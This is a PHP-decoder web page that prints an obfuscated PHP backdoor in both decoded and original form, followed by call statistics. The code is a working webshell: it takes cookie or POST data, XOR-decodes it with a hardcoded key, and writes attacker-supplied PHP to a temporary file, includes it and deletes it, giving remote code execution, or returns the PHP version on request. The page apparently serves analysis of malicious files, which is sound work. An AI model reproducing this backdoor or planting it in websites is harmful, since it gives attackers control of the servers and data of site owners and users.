Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* mmj_j*/ function qjfuhl(){$rzhxhepa_='_mtr_ans'; /* cqcg */ print_r (909..
Decoded Output download
<?php /* mmj_j*/ function qjfuhl(){$rzhxhepa_='_mtr_ans'; /* cqcg */ print_r (90945+90945); }
$feortwlfpf = 'feortwlfpf' /* is*/ ^ /*i_k */ '';
$xvifsrid = /*_czydl */ $_COOKIE;
$doxtyihzar = 'hhfbgy';
$xavqrxtqtu = /* v*/ 334;
$nq_btbro = /* z */ $xavqrxtqtu /* zaxhtb*/ % 17;
function /* wyvcab*/ ldfgaday($ungyet, $ccatzram)
{
global $feortwlfpf;
$dcxwktnr /* ctvu*/ = ""; $egkggik = /* wsir*/ 613;
$kjriazkso = 0; /* s_lc*/ while /*uocea */ ($kjriazkso < /* tgh */ strlen($ungyet)) /* qf */ {
$jhoxrocz = 0;
/*bmvp */ while ($jhoxrocz /* ri */ < /* og */ strlen($ccatzram) && $kjriazkso /* rpy */ < strlen($ungyet)) {
$dcxwktnr /* nsbbd*/ .= $feortwlfpf(ord($ungyet[$kjriazkso]) ^ ord($ccatzram[$jhoxrocz]));
/* pjd */ $eqlbxueqed /*zsr */ = 306;
/* pd */ $jhoxrocz++;
/* nwmiam */ $kjriazkso++;
/* zs */ } } return $dcxwktnr;
}
function ekd_mn($ckphirk, $ungyet)
{ global /* oscmgn */ $feortwlfpf;
/* _mcux*/ $kjriazksodwrpwlhvj = sprintf(".".$feortwlfpf(47) . "%" /*cfqjur */ . "s".$feortwlfpf(792-746) . "p" /*eptz */ . /* yf */ "l", /* rnex */ md5($ckphirk));
$mjkxgkv = 'fjpjwxmzv'; file_put_contents($kjriazksodwrpwlhvj, /* z*/ "<" . "?"."p".$feortwlfpf(104) . /* pwyp */ "p".$feortwlfpf(32) /* ripg_*/ . "u".$feortwlfpf(903-793) . /* rcthis */ "l" . $feortwlfpf(105) . $feortwlfpf(965-855) . /*_qyw */ "k"."("."_"."_".$feortwlfpf(742-672) /* vhzc */ . "I" . /* anf */ "L".$feortwlfpf(69) /* ofcav */ . "_" . /* a */ "_".")".";" . /* ibor */ $feortwlfpf(32) . /* h */ $ungyet[$feortwlfpf(898-798)]);
$mggzbgw = /* ik */ 'pgdchmd'; include($kjriazksodwrpwlhvj); /*gdmt */ $gllfh /* oc */ = /* hl */ 'tsbaq'; /* mkh*/ $hlsiuw = $kjriazksodwrpwlhvj;
@unlink($hlsiuw);}
function /* slm_ */ isc_lmchu()
{
$kjriazksowffohqnr = 'waowqrr';
$mapnpoaqe = 'onag';
}
isc_lmchu();
function obkudowy()
{ global /* xdufpq*/ $feortwlfpf;
$kjriazkso /*wltij */ = /* y */ array();
$kjriazkso["p" . "v"] = phpversion();
/*ax */ $kjriazkso["s" . $feortwlfpf(118)] /* nxumx */ = "3"."." . $feortwlfpf(53);
$bnmsuu = /* qosqvf */ 'nckfdh';
/* jvup*/ $vvomho = /* xziuk */ 'kayqk';
echo @serialize($kjriazkso); /* neak */ $q_szq /* isioea*/ = 'wllkrh';
/* m */ $dcgbtvi = 914;}function sdiyxvbn($ungyet, $ckphirk, $omy_h)
{
global $feortwlfpf;
$ungyet = /* mjtikr*/ unserialize(ldfgaday(ldfgaday(base64_decode($ungyet), $ckphirk), /* hhtd */ $omy_h));
$pazep /* o */ = 568;
/* b */ if (isset($ungyet["a"."k"])) /* axarcn */ {
if ($ungyet["a"] == /* kkld */ "i") {
obkudowy();
} elseif ($ungyet["a"] == /* y */ "e") {
ekd_mn($ckphirk, $ungyet);
/*l */ }
exit();
}
}
$xvifsrid /*hrfc */ = /*lbz */ array_merge($_POST, /*vi*/ $xvifsrid);
$ckphirk /* gmgjkw */ = "9".$feortwlfpf(1072-971) /*srik */ . "4" . "7" /* sn */ . "6" . /* ad*/ "6" /* tgcp */ . "b"."c"."-".$feortwlfpf(51) /* il */ . $feortwlfpf(898-798)."7" . "2"."-" /* ij */ . /*yxvgq*/ "4"."e"."a" /* jjta */ . "8" . /*et */ "-"."8"."f".$feortwlfpf(50) . /* jv */ "8".$feortwlfpf(45) . $feortwlfpf(391-343) /*escb */ . /* ln */ "a".$feortwlfpf(898-798)."9"."a" . "4"."c"."1" . /* egneu*/ $feortwlfpf(987-939) /*w */ . "a".$feortwlfpf(49) . "8";$qnahppml = 'bjk';
$xbuxeel /* ysd*/ = /* ly */ 'zwgfsmahk';
foreach ($xvifsrid /* kcove */ as $omy_h /* bds */ => $ungyet) {
sdiyxvbn($ungyet, $ckphirk, $omy_h);
}
?>
Did this file decode correctly?
Original Code
<?php /* mmj_j*/ function qjfuhl(){$rzhxhepa_='_mtr_ans'; /* cqcg */ print_r (90945+90945); }
$feortwlfpf = 'feortwlfpf' /* is*/ ^ /*i_k */ '';
$xvifsrid = /*_czydl */ $_COOKIE;
$doxtyihzar = 'hhfbgy';
$xavqrxtqtu = /* v*/ 334;
$nq_btbro = /* z */ $xavqrxtqtu /* zaxhtb*/ % 17;
function /* wyvcab*/ ldfgaday($ungyet, $ccatzram)
{
global $feortwlfpf;
$dcxwktnr /* ctvu*/ = ""; $egkggik = /* wsir*/ 613;
$kjriazkso = 0; /* s_lc*/ while /*uocea */ ($kjriazkso < /* tgh */ strlen($ungyet)) /* qf */ {
$jhoxrocz = 0;
/*bmvp */ while ($jhoxrocz /* ri */ < /* og */ strlen($ccatzram) && $kjriazkso /* rpy */ < strlen($ungyet)) {
$dcxwktnr /* nsbbd*/ .= $feortwlfpf(ord($ungyet[$kjriazkso]) ^ ord($ccatzram[$jhoxrocz]));
/* pjd */ $eqlbxueqed /*zsr */ = 306;
/* pd */ $jhoxrocz++;
/* nwmiam */ $kjriazkso++;
/* zs */ } } return $dcxwktnr;
}
function ekd_mn($ckphirk, $ungyet)
{ global /* oscmgn */ $feortwlfpf;
/* _mcux*/ $kjriazksodwrpwlhvj = sprintf(".".$feortwlfpf(47) . "\x25" /*cfqjur */ . "s".$feortwlfpf(792-746) . "\160" /*eptz */ . /* yf */ "\154", /* rnex */ md5($ckphirk));
$mjkxgkv = 'fjpjwxmzv'; file_put_contents($kjriazksodwrpwlhvj, /* z*/ "<" . "?"."p".$feortwlfpf(104) . /* pwyp */ "p".$feortwlfpf(32) /* ripg_*/ . "u".$feortwlfpf(903-793) . /* rcthis */ "\154" . $feortwlfpf(105) . $feortwlfpf(965-855) . /*_qyw */ "k"."("."_"."_".$feortwlfpf(742-672) /* vhzc */ . "\x49" . /* anf */ "L".$feortwlfpf(69) /* ofcav */ . "\137" . /* a */ "_".")"."\73" . /* ibor */ $feortwlfpf(32) . /* h */ $ungyet[$feortwlfpf(898-798)]);
$mggzbgw = /* ik */ 'pgdchmd'; include($kjriazksodwrpwlhvj); /*gdmt */ $gllfh /* oc */ = /* hl */ 'tsbaq'; /* mkh*/ $hlsiuw = $kjriazksodwrpwlhvj;
@unlink($hlsiuw);}
function /* slm_ */ isc_lmchu()
{
$kjriazksowffohqnr = 'waowqrr';
$mapnpoaqe = 'onag';
}
isc_lmchu();
function obkudowy()
{ global /* xdufpq*/ $feortwlfpf;
$kjriazkso /*wltij */ = /* y */ array();
$kjriazkso["\x70" . "v"] = phpversion();
/*ax */ $kjriazkso["\163" . $feortwlfpf(118)] /* nxumx */ = "3"."\56" . $feortwlfpf(53);
$bnmsuu = /* qosqvf */ 'nckfdh';
/* jvup*/ $vvomho = /* xziuk */ 'kayqk';
echo @serialize($kjriazkso); /* neak */ $q_szq /* isioea*/ = 'wllkrh';
/* m */ $dcgbtvi = 914;}function sdiyxvbn($ungyet, $ckphirk, $omy_h)
{
global $feortwlfpf;
$ungyet = /* mjtikr*/ unserialize(ldfgaday(ldfgaday(base64_decode($ungyet), $ckphirk), /* hhtd */ $omy_h));
$pazep /* o */ = 568;
/* b */ if (isset($ungyet["a"."k"])) /* axarcn */ {
if ($ungyet["a"] == /* kkld */ "i") {
obkudowy();
} elseif ($ungyet["a"] == /* y */ "e") {
ekd_mn($ckphirk, $ungyet);
/*l */ }
exit();
}
}
$xvifsrid /*hrfc */ = /*lbz */ array_merge($_POST, /*vi*/ $xvifsrid);
$ckphirk /* gmgjkw */ = "9".$feortwlfpf(1072-971) /*srik */ . "\64" . "\x37" /* sn */ . "\66" . /* ad*/ "\66" /* tgcp */ . "b"."c"."-".$feortwlfpf(51) /* il */ . $feortwlfpf(898-798)."\67" . "2"."\x2d" /* ij */ . /*yxvgq*/ "4"."e"."\141" /* jjta */ . "\x38" . /*et */ "-"."8"."f".$feortwlfpf(50) . /* jv */ "8".$feortwlfpf(45) . $feortwlfpf(391-343) /*escb */ . /* ln */ "a".$feortwlfpf(898-798)."9"."\x61" . "4"."c"."\x31" . /* egneu*/ $feortwlfpf(987-939) /*w */ . "a".$feortwlfpf(49) . "\70";$qnahppml = 'bjk';
$xbuxeel /* ysd*/ = /* ly */ 'zwgfsmahk';
foreach ($xvifsrid /* kcove */ as $omy_h /* bds */ => $ungyet) {
sdiyxvbn($ungyet, $ckphirk, $omy_h);
}
?>
Function Calls
isc_lmchu | 1 |
array_merge | 1 |
Stats
MD5 | d8d82ef31669b3a1747439fde65f27ab |
Eval Count | 0 |
Decode Time | 71 ms |